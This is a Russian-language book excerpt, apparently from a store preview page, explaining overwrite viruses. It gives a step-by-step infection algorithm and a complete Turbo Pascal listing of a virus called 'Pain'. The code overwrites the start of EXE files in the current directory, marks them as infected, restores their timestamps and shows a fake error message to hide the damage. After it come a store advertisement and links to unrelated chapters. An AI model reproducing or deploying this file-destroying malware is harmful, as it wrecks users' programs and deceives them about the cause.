Вирусы, замещающие программный код (Overwrite)
Вирусы, замещающие программный код (Overwrite)
Как уже говорилось, этот вид вирусов уже давно мертв. Изредка появляются еще такие вирусы, созданные на языке Assembler, но это, скорее, соревнование в написании самого маленького overwrite-вируса. На данный момент самый маленький из известных overwrite-вирусов написан ReminderW (Death Virii Crew group) и занимает 22 байта.
Алгоритм работы overwrite-вируса следующий:
1. Открыть файл, из которого вирус получил управление.
2. Считать в буфер код вируса.
3. Закрыть файл.
4. Искать по маске подходящий для заражения файл.
5. Если файлов больше не найдено, перейти к пункту 11.
6. Открыть найденный файл.
7. Проверить, не заражен ли найденный файл этим вирусом.
8. Если файл заражен, перейти к пункту 10.
9. Записать в начало файла код вируса.
10. Закрыть файл (по желанию можно заразить от одного до всех файлов в каталоге или на диске).
11. Выдать на экран какое-либо сообщение об ошибке, например «Abnormal program termination» или «Not enough memory», – пусть пользователь не слишком удивляется тому, что программа не запустилась.
12. Завершить программу.
Ниже приведен листинг программы, заражающей файлы таким способом.
{$M 2048, 0, 0}
{$A?}
{$B?}
{$D?}
{$E+}
{$F?}
{$G?}
{$I?}
{$L?}
{$N?}
{$S?}
{$V?}
{$X+}
{Используются модули Dos и System (модуль System автоматически
подключается к каждой программе при компиляции)}
Uses Dos;
Const
{Имя вируса}
VirName=’Pain’;
{Строка для проверки на повторное заражение.
Она дописывается в заражаемый файл сразу после кода вируса}
VirLabel: String[5]=’Pain!’;
{Длина получаемого при компиляции EXE?файла}
VirLen=4208;
Author=’Dirty Nazi/SGWW.’;
{Количество заражаемых за один сеанс работы файлов}
InfCount=2;
Var
{Массив для определения наличия копии вируса в найденном файле}
VirIdentifier: Array [1.5] of Char;
{Файловая переменная для работы с файлами}
VirBody: File;
{Еще одна файловая переменная – хотя без нее можно было
обойтись, так будет понятнее}
Target: File;
{Для имени найденного файла}
TargetFile: PathStr;
{Буфер для тела вируса}
VirBuf : Array [1.VirLen] of Char;
{Для даты/времени файла}
Time : LongInt;
{Счетчик количества инфицированных файлов}
InfFiles : Byte;
DirInfo : SearchRec;
LabelBuf : Array [1.5] of Char;
{Инициализация}
procedure Init;
begin
LabelBuf[1]:=VirLabel[1];
LabelBuf[2]:=VirLabel[2];
LabelBuf[3]:=VirLabel[3];
LabelBuf[4]:=VirLabel[4];
LabelBuf[5]:=VirLabel[5];
{Обнуляем счетчик количества инфицированных файлов}
InfFiles:=0;
{Связываем файловую переменную VirBody с именем программы,
из которой стартовали}
Assign(VirBody, ParamStr(0));
{Открываем файл с recsize=1 байту}
Reset(VirBody, 1);
{Считываем из файла тело вируса в массив VirBuf}
BlockRead(VirBody, VirBuf, VirLen);
{Закрываем файл}
Close(VirBody);
end;
{Поиск жертвы}
procedure FindTarget;
Var
Sr: SearchRec;
{Функция возвращает True, если найденная
программа уже заражена, и False, если еще нет}
function VirusPresent: Boolean;
begin
{Пока будем считать, что вируса нет}
VirusPresent:=False;
{Открываем найденный файл}
Assign(Target, TargetFile);
Reset(Target, 1);
{Перемещаемся на длину тела вируса от начала файла}
Seek(Target, VirLen);
{Считываем 5 байт – если файл уже заражен,
там находится метка вируса}
BlockRead(Target, VirIdentifier, 5);
If VirIdentifier=VirLabel Then
{Если метка есть, значит есть и вирус}
VirusPresent:=True;
end;
{Процедура заражения}
procedure InfectFile;
begin
{Если размер найденного файла меньше, чем длина вируса
плюс 100 байт, то выходим из процедуры}
If Sr.Size < VirLen+100 Then Exit;
{Если найденная программа еще не заражена, инфицируем ее}
If Not VirusPresent Then
begin
{Запомним дату и время файла. Атрибуты запоминать не надо,
так как поиск ведется среди файлов с атрибутом Archive, а этот
атрибут устанавливается на файл после сохранения в любом случае}
Time:=Sr.Time;
{Открываем для заражения}
Assign(Target, TargetFile);
Reset(Target, 1);
{Записывам тело вируса в начало файла}
BlockWrite(Target, VirBuf, VirLen);
{Перемещаем указатель текущей позиции
на длину вируса от начала файла}
Seek(Target, VirLen);
{Вписываем метку заражения}
BlockWrite(Target, LabelBuf, 5);
{Устанавливаем дату и время файла}
SetFTime(Target, Time);
{Закрываем}
Close(Target);
{Увеличиваем счетчик инфицированных файлов}
Inc(InfFiles);
end;
end;
{Начало процедуры FindTarget}
begin
{Ищем в текущем каталоге файлы по маске *.EXE
с атрибутами Archive}
FindFirst(’*.EXE’, Archive, Sr);
{Пока есть файлы для заражения}
While DosError=0 Do
begin
If Sr.Name=’’ Then Exit;
{Запоминаем имя найденного файла в переменную TargetFile}
TargetFile:=Sr.Name;
{Вызываем процедуру заражения}
InfectFile;
{Если заразили InfCount файлов, завершаем поиск}
If InfFiles > InfCount Then Exit;
{Ищем следующий файл по маске}
FindNext(Sr);
end;
end;
{Основное тело}
begin
{Инициализируемся}
Init;
{Ищем жертвы и заражаем их}
FindTarget;
{Выдаем на экран сообщение об ошибке}
WriteLn(’Abnormal program termination.’);
{Это чтобы компилятор вставил в код константы VirName
и Author, условие же поставлено таким образом,
что эти строки никогда не будут выведены на экран}
If 2=3 Then
begin
WriteLn(VirName);
WriteLn(Author);
end;
end.Более 800 000 книг и аудиокниг! 📚
Получи 2 месяца Литрес Подписки в подарок и наслаждайся неограниченным чтением
ПОЛУЧИТЬ ПОДАРОКДанный текст является ознакомительным фрагментом.
Читайте также
Программный интерфейс UNIX
Программный интерфейс UNIX Системные вызовы и функции стандартных библиотек Все версии UNIX предоставляют строго определенный ограниченный набор входов в ядро операционной системы, через которые прикладные задачи имеют возможность воспользоваться базовыми услугами,
Программный интерфейс сокетов
Программный интерфейс сокетов Итак, сокеты являются коммуникационным интерфейсом взаимодействующих процессов. Конкретный характер взаимодействия зависит от типа используемых сокетов, а коммуникационный домен, в рамках которого создан сокет, определяет базовые
Программный интерфейс сокетов
Программный интерфейс сокетов Вы уже познакомились с интерфейсом сокетов при обсуждении реализации межпроцессного взаимодействия в BSD UNIX. Поскольку сетевая поддержка впервые была разработана именно для BSD UNIX, интерфейс сокетов и сегодня является весьма
Программный интерфейс TLI
Программный интерфейс TLI При обсуждении реализации сетевой поддержки в BSD UNIX был рассмотрен программный интерфейс доступа к сетевым ресурсам, основанный на сокетах. В данном разделе описан интерфейс транспортного уровня (Transport Layer Interface, TLI), который обеспечивает
2.2.4 Программный интерфейс RPC
2.2.4 Программный интерфейс RPC Хотя и не так широко распространенный, как socket, программный интерфейс вызова удаленных процедур (Remote Procedure Call — RPC) для соединений типа клиент/сервер достаточно часто используется в различных системах. Первоначально он был реализован в
21.1.1 Программный интерфейс Berkeley
21.1.1 Программный интерфейс Berkeley К счастью, большинство реализаций TCP/IP обеспечивает программный интерфейс, следующий очень простой модели программного интерфейса socket, который впервые был предложен в 1982 г. в версии 4.1c операционной системы Unix университета Беркли (Berkeley Software
Программный комплекс «Intellectum.BIS»
Программный комплекс «Intellectum.BIS» Основное предназначение продукта – обеспечение экспертов-маркетологов и аналитиков инструментарием обработки информации для выполнения бизнес-исследований в целях обеспечения информацией руководства для принятия управленческих
Сделайте программный код красивым
Сделайте программный код красивым В общем-то, программному коду совсем не обязательно выглядеть красиво - нужно, чтобы он легко читался. В этом разделе предлагается несколько простых рекомендаций по оформлению программного кода для того, чтобы вам было легче
Возьмите готовый программный код
Возьмите готовый программный код Разработчики любого VBA-приложения всегда в том или ином виде предлагают помощь по поводу использования возможностей приложения и его объектной модели в пользовательских программах. Обязательно посмотрите, есть ли в файлах справки
Программный код агента
Программный код агента Если открыть сгенерированный файл агента, вы найдете там тип, который получается из System.Web.Services.Protocols.SoapHttpClientProtocol (если, конечно, вы не указали другой протокол связи с помощью опции /protocol).public partial class CalculatorWebService : System.Web.Services.Protocols.SoapHttpClientProtocol { …}Этот
23.2. Программный сбой
23.2. Программный сбой Прежде всего, нужно выяснить и по возможности устранить причину сбоя. Если это сугубо программный сбой, то причины две: неправильная настройка программы (или системы) и ошибка
Программный DVD-проигрыватель PowerDVD
Программный DVD-проигрыватель PowerDVD Программа (рис. 5.59) воспроизводит несколько типов файлов: MPEG 1 и MPEG 2 Video, DVD, Video CD. Рис. 5.59. Интерфейс Power DVDКак и большинство DVD-проигрывателей, данная программа имеет интерфейс в виде передней панели магнитофона. В правой части панели
Программный RAID-массив
Программный RAID-массив Кроме аппаратной, существует и программная реализация RAID. В этом случае массив формируется из дисков, подключенных к обычному контроллеру SATA или IDE. Поддержка программных дисковых массивов впервые появилась в серверных операционных системах.
Программный режим
Программный режим Обозначается буквой Р. Это, в общем-то, автоматический режим, но в отличие от Авто он позволяет вам вносить свои изменения во многие выбранные камерой параметры: менять светочувствительность ISO, баланс белого, выбрать режим и точку автофокусировки,